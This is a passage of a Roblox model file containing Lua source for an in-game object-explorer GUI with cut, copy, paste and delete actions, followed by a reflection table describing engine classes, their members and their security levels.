&#9;&#9;if c == object then
&#9;&#9;&#9;if p == nil then
&#9;&#9;&#9;&#9;removeObject(c)
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;moveObject(c,p)
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)

&#9;NodeLookup[object] = objectNode
&#9;insert(parentNode,#parentNode+1,objectNode)

&#9;if not noupdate then
&#9;&#9;if nodeIsVisible(objectNode) then
&#9;&#9;&#9;updateList()
&#9;&#9;elseif nodeIsVisible(objectNode.Parent) then
&#9;&#9;&#9;updateScroll()
&#9;&#9;end
&#9;end
end

do
&#9;NodeLookup[Game] = {
&#9;&#9;Object = Game;
&#9;&#9;Parent = nil;
&#9;&#9;Index = 0;
&#9;&#9;Expanded = true;
&#9;}

&#9;Connect(Game.DescendantAdded,addObject)
&#9;Connect(Game.DescendantRemoving,removeObject)

&#9;local function get(o)
&#9;&#9;return o:GetChildren()
&#9;end

&#9;local function r(o)
&#9;&#9;local s,children = pcall(get,o)
&#9;&#9;if s then
&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;addObject(children[i],true)
&#9;&#9;&#9;&#9;r(children[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end

&#9;r(Game)

&#9;scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
&#9;updateList()
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Actions

local actionButtons do
&#9;actionButtons = {}

&#9;local totalActions = (4) + 1
&#9;local currentActions = totalActions
&#9;local function makeButton(icon,over,name)
&#9;&#9;local button = Create(Icon(&apos;ImageButton&apos;,icon),{
&#9;&#9;&#9;Name = name .. &quot;Button&quot;;
&#9;&#9;&#9;Visible = Option.Modifiable and Option.Selectable;
&#9;&#9;&#9;Position = UDim2.new(1,-(GUI_SIZE+2)*currentActions+2,0.5,-GUI_SIZE/2);
&#9;&#9;&#9;Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
&#9;&#9;&#9;Parent = headerFrame;
&#9;&#9;})

&#9;&#9;local tipText = Create(&apos;TextLabel&apos;,{
&#9;&#9;&#9;Name = name .. &quot;Text&quot;;
&#9;&#9;&#9;Text = name;
&#9;&#9;&#9;Visible = false;
&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;TextXAlignment = &apos;Right&apos;;
&#9;&#9;&#9;Font = FONT;
&#9;&#9;&#9;FontSize = FONT_SIZE;
&#9;&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;&#9;Size = UDim2.new(1,-(GUI_SIZE+2)*totalActions,1,0);
&#9;&#9;&#9;Parent = headerFrame;
&#9;&#9;})


&#9;&#9;button.MouseEnter:connect(function()
&#9;&#9;&#9;Icon(button,over)
&#9;&#9;&#9;tipText.Visible = true
&#9;&#9;end)
&#9;&#9;button.MouseLeave:connect(function()
&#9;&#9;&#9;Icon(button,icon)
&#9;&#9;&#9;tipText.Visible = false
&#9;&#9;end)

&#9;&#9;currentActions = currentActions - 1
&#9;&#9;actionButtons[#actionButtons+1] = button
&#9;&#9;return button
&#9;end

&#9;local clipboard = {}
&#9;local function delete(o)
&#9;&#9;o.Parent = nil
&#9;end

&#9;-- CUT
&#9;makeButton(ACTION_CUT,ACTION_CUT_OVER,&quot;Cut&quot;).MouseButton1Click:connect(function()
&#9;&#9;if not Option.Modifiable then return end
&#9;&#9;clipboard = {}
&#9;&#9;local list = Selection.List
&#9;&#9;local cut = {}
&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;local obj = list[i]:Clone()
&#9;&#9;&#9;if obj then
&#9;&#9;&#9;&#9;table.insert(clipboard,obj)
&#9;&#9;&#9;&#9;table.insert(cut,list[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;for i = 1,#cut do
&#9;&#9;&#9;pcall(delete,cut[i])
&#9;&#9;end
&#9;end)

&#9;-- COPY
&#9;makeButton(ACTION_COPY,ACTION_COPY_OVER,&quot;Copy&quot;).MouseButton1Click:connect(function()
&#9;&#9;if not Option.Modifiable then return end
&#9;&#9;clipboard = {}
&#9;&#9;local list = Selection.List
&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;table.insert(clipboard,list[i]:Clone())
&#9;&#9;end
&#9;end)

&#9;-- PASTE
&#9;makeButton(ACTION_PASTE,ACTION_PASTE_OVER,&quot;Paste&quot;).MouseButton1Click:connect(function()
&#9;&#9;if not Option.Modifiable then return end
&#9;&#9;local parent = Selection.List[1] or Workspace
&#9;&#9;for i = 1,#clipboard do
&#9;&#9;&#9;clipboard[i]:Clone().Parent = parent
&#9;&#9;end
&#9;end)

&#9;-- DELETE
&#9;makeButton(ACTION_DELETE,ACTION_DELETE_OVER,&quot;Delete&quot;).MouseButton1Click:connect(function()
&#9;&#9;if not Option.Modifiable then return end
&#9;&#9;local list = Selection:Get()
&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;pcall(delete,list[i])
&#9;&#9;end
&#9;&#9;Selection:Set({})
&#9;end)

&#9;-- SORT
&#9;-- local actionSort = makeButton(ACTION_SORT,ACTION_SORT_OVER,&quot;Sort&quot;)
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables

do
&#9;local optionCallback = {
&#9;&#9;Modifiable = function(value)
&#9;&#9;&#9;for i = 1,#actionButtons do
&#9;&#9;&#9;&#9;actionButtons[i].Visible = value and Option.Selectable
&#9;&#9;&#9;end
&#9;&#9;&#9;cancelReparentDrag()
&#9;&#9;end;
&#9;&#9;Selectable = function(value)
&#9;&#9;&#9;for i = 1,#actionButtons do
&#9;&#9;&#9;&#9;actionButtons[i].Visible = value and Option.Modifiable
&#9;&#9;&#9;end
&#9;&#9;&#9;cancelSelectDrag()
&#9;&#9;&#9;Selection:Set({})
&#9;&#9;end;
&#9;}

&#9;local bindSetOption = script.Parent:FindFirstChild(&quot;SetOption&quot;)
&#9;if not bindSetOption then
&#9;&#9;bindSetOption = Create(&apos;BindableFunction&apos;,{Name = &quot;SetOption&quot;})
&#9;&#9;bindSetOption.Parent = script.Parent
&#9;end

&#9;bindSetOption.OnInvoke = function(optionName,value)
&#9;&#9;if optionCallback[optionName] then
&#9;&#9;&#9;Option[optionName] = value
&#9;&#9;&#9;optionCallback[optionName](value)
&#9;&#9;end
&#9;end

&#9;local bindGetOption = script.Parent:FindFirstChild(&quot;GetOption&quot;)
&#9;if not bindGetOption then
&#9;&#9;bindGetOption = Create(&apos;BindableFunction&apos;,{Name = &quot;GetOption&quot;})
&#9;&#9;bindGetOption.Parent = script.Parent
&#9;end

&#9;bindGetOption.OnInvoke = function(optionName)
&#9;&#9;if optionName then
&#9;&#9;&#9;return Option[optionName]
&#9;&#9;else
&#9;&#9;&#9;local options = {}
&#9;&#9;&#9;for k,v in pairs(Option) do
&#9;&#9;&#9;&#9;options[k] = v
&#9;&#9;&#9;end
&#9;&#9;&#9;return options
&#9;&#9;end
&#9;end
end
</ProtectedString>
						</Properties>
					</Item>
					<Item class="BindableFunction" referent="RBX64">
						<Properties>
							<string name="Name">GetOption</string>
						</Properties>
					</Item>
					<Item class="BindableFunction" referent="RBX65">
						<Properties>
							<string name="Name">GetSelection</string>
						</Properties>
					</Item>
					<Item class="BindableFunction" referent="RBX66">
						<Properties>
							<string name="Name">SetOption</string>
						</Properties>
					</Item>
					<Item class="BindableFunction" referent="RBX67">
						<Properties>
							<string name="Name">SetSelection</string>
						</Properties>
					</Item>
					<Item class="BindableEvent" referent="RBX68">
						<Properties>
							<string name="Name">SelectionChanged</string>
						</Properties>
					</Item>
				</Item>
				<Item class="LocalScript" referent="RBX69">
					<Properties>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">LocalScript</string>
						<ProtectedString name="Source">local lib = {}

lib.Classes = {
 ShirtGraphic = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;ShirtGraphic&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Graphic&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 BevelMesh = {
 Inherits = &quot;DataModelMesh&quot;,
 deprecated = true,
 Events = {
 },
 ClassName = &quot;BevelMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 NetworkSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;NetworkSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ArePhysicsRejectionsReported&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;CanSendPacketBufferLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;DataMtuAdjust&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;PacketPriority&quot;,
 Name = &quot;DataSendPriority&quot;,
 hidden = true
 },
 {
 Name = &quot;DataSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ExperimentalPhysicsEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IncommingReplicationLag&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;IsQueueErrorComputed&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsThrottledByCongestionControl&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsThrottledByOutgoingBandwidthLimit&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;MaxDataModelSendBuffer&quot;
 },
 {
 Name = &quot;NetworkOwnerRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PhysicsMtuAdjust&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PhysicsReceive&quot;,
 Type = &quot;PhysicsReceiveMethod&quot;
 },
 {
 Name = &quot;PhysicsSend&quot;,
 Type = &quot;PhysicsSendMethod&quot;
 },
 {
 Type = &quot;PacketPriority&quot;,
 Name = &quot;PhysicsSendPriority&quot;,
 hidden = true
 },
 {
 Name = &quot;PhysicsSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PreferredClientPort&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PrintEvents&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintInstances&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintPhysicsErrors&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintProperties&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintSplitMessage&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintTouches&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ReceiveRate&quot;,
 Type = &quot;double&quot;
 },
 {
 deprecated = true,
 Type = &quot;string&quot;,
 Name = &quot;ReportStatURL&quot;,
 hidden = true
 },
 {
 Name = &quot;SendPacketBufferLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;TouchSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TrackDataTypes&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;UseInstancePacketCache&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;UsePhysicsPacketCache&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;WaitingForCharacterLogRate&quot;,
 hidden = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 BrickColorValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;BrickColor&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;BrickColorValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Accoutrement = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Accoutrement&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AttachmentForward&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentPoint&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;AttachmentPos&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentRight&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentUp&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 CharacterAppearance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CharacterAppearance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiMain = {
 Inherits = &quot;ScreenGui&quot;,
 Events = {
 },
 ClassName = &quot;GuiMain&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 SelectionLasso = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;SelectionLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Humanoid&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 HumanoidController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 },
 ClassName = &quot;HumanoidController&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 MeshContentProvider = {
 Inherits = &quot;CacheableContentProvider&quot;,
 Events = {
 },
 ClassName = &quot;MeshContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Handles = {
 Inherits = &quot;HandlesBase&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseDrag&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 }
 },
 ClassName = &quot;Handles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Faces&quot;,
 Type = &quot;Faces&quot;
 },
 {
 Name = &quot;Style&quot;,
 Type = &quot;HandlesStyle&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataClasses = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataClasses&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Stats = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Stats&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;double&quot;,
 Name = &quot;MinReportInterval&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;ReporterType&quot;,
 RobloxScriptSecurity = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;category&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;Dictionary&quot;
 }
 },
 Name = &quot;Report&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ReportJobsStepWindow&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;includeJobs&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;ReportTaskScheduler&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetReportUrl&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Hole = {
 Inherits = &quot;Feature&quot;,
 Events = {
 },
 ClassName = &quot;Hole&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Smoke = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Smoke&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Opacity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RiseVelocity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 LocalWorkspace = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LocalWorkspace&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 KeyframeSequenceProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;KeyframeSequenceProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;GetKeyframeSequence&quot;
 },
 {
 ReturnType = &quot;Content&quot;,
 Arguments = {
 {
 Name = &quot;keyframeSequence&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterActiveKeyframeSequence&quot;
 },
 {
 ReturnType = &quot;Content&quot;,
 Arguments = {
 {
 Name = &quot;keyframeSequence&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterKeyframeSequence&quot;
 }
 }
 },
 TimerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TimerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 CFrameValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;CFrameValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 },
 Methods = {
 }
 },
 TextureTrail = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;TextureTrail&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;float&quot;,
 Name = &quot;CycleOffset&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;From&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;StudsBetweenTextures&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Content&quot;,
 Name = &quot;Texture&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextureSize&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;To&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Velocity&quot;,
 RobloxPlaceSecurity = true
 }
 },
 Methods = {
 }
 },
 ImageLabel = {
 Inherits = &quot;GuiLabel&quot;,
 Events = {
 },
 ClassName = &quot;ImageLabel&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Image&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 PointLight = {
 Inherits = &quot;Light&quot;,
 Events = {
 },
 ClassName = &quot;PointLight&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Range&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 DoubleConstrainedValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;DoubleConstrainedValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;double&quot;,
 Name = &quot;ConstrainedValue&quot;,
 hidden = true
 },
 {
 Name = &quot;MaxValue&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;MinValue&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;Value&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 RocketPropulsion = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 {
 Name = &quot;ReachedTarget&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;RocketPropulsion&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CartoonFactor&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxThrust&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxTorque&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Target&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;TargetOffset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;TargetRadius&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ThrustD&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ThrustP&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnD&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnP&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Abort&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Fire&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;fire&quot;,
 deprecated = true
 }
 }
 },
 ReflectionMetadataClass = {
 Inherits = &quot;ReflectionMetadataItem&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataClass&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ExplorerImageIndex&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ExplorerOrder&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PreferredParent&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataEvents = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataEvents&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 SpotLight = {
 Inherits = &quot;Light&quot;,
 Events = {
 },
 ClassName = &quot;SpotLight&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Angle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Range&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 ButtonBindingWidget = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;ButtonBindingWidget&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DataModel = {
 Inherits = &quot;ServiceProvider&quot;,
 Events = {
 {
 Name = &quot;AllowedGearTypeChanged&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;GraphicsQualityChangeRequest&quot;,
 Arguments = {
 {
 Name = &quot;betterQuality&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;ItemChanged&quot;,
 Arguments = {
 {
 Name = &quot;object&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;descriptor&quot;,
 Type = &quot;Property&quot;
 }
 }
 },
 {
 Name = &quot;Loaded&quot;,
 Arguments = {
 }
 },
 {
 Arguments = {
 {
 Name = &quot;succeeded&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;errorString&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SavePlaceFinished&quot;,
 RobloxPlaceSecurity = true
 }
 },
 ClassName = &quot;DataModel&quot;,
 Callbacks = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;RequestShutdown&quot;,
 RobloxScriptSecurity = true
 }
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;CreatorId&quot;,
 readonly = true
 },
 {
 Type = &quot;CreatorType&quot;,
 Name = &quot;CreatorType&quot;,
 readonly = true
 },
 {
 Type = &quot;GearGenreSetting&quot;,
 Name = &quot;GearGenreSetting&quot;,
 readonly = true
 },
 {
 Type = &quot;Genre&quot;,
 Name = &quot;Genre&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPersonalServer&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;JobId&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;LocalSaveEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PlaceId&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Workspace&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;lighting&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;workspace&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;displayName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;stat&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddStat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;resettingSimulation&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;ClearContent&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearMessage&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;localSave&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;FinishShutdown&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;jobname&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;greaterThan&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;GetJobIntervalPeakFraction&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;jobname&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;greaterThan&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;GetJobTimePeakFraction&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetJobsExtendedStats&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetJobsInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;GetObjects&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetRemoteBuildMode&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;synchronous&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;HttpGet&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;synchronous&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;HttpPost&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;gearType&quot;,
 Type = &quot;GearType&quot;
 }
 },
 Name = &quot;IsGearTypeAllowed&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;IsLoaded&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;Load&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
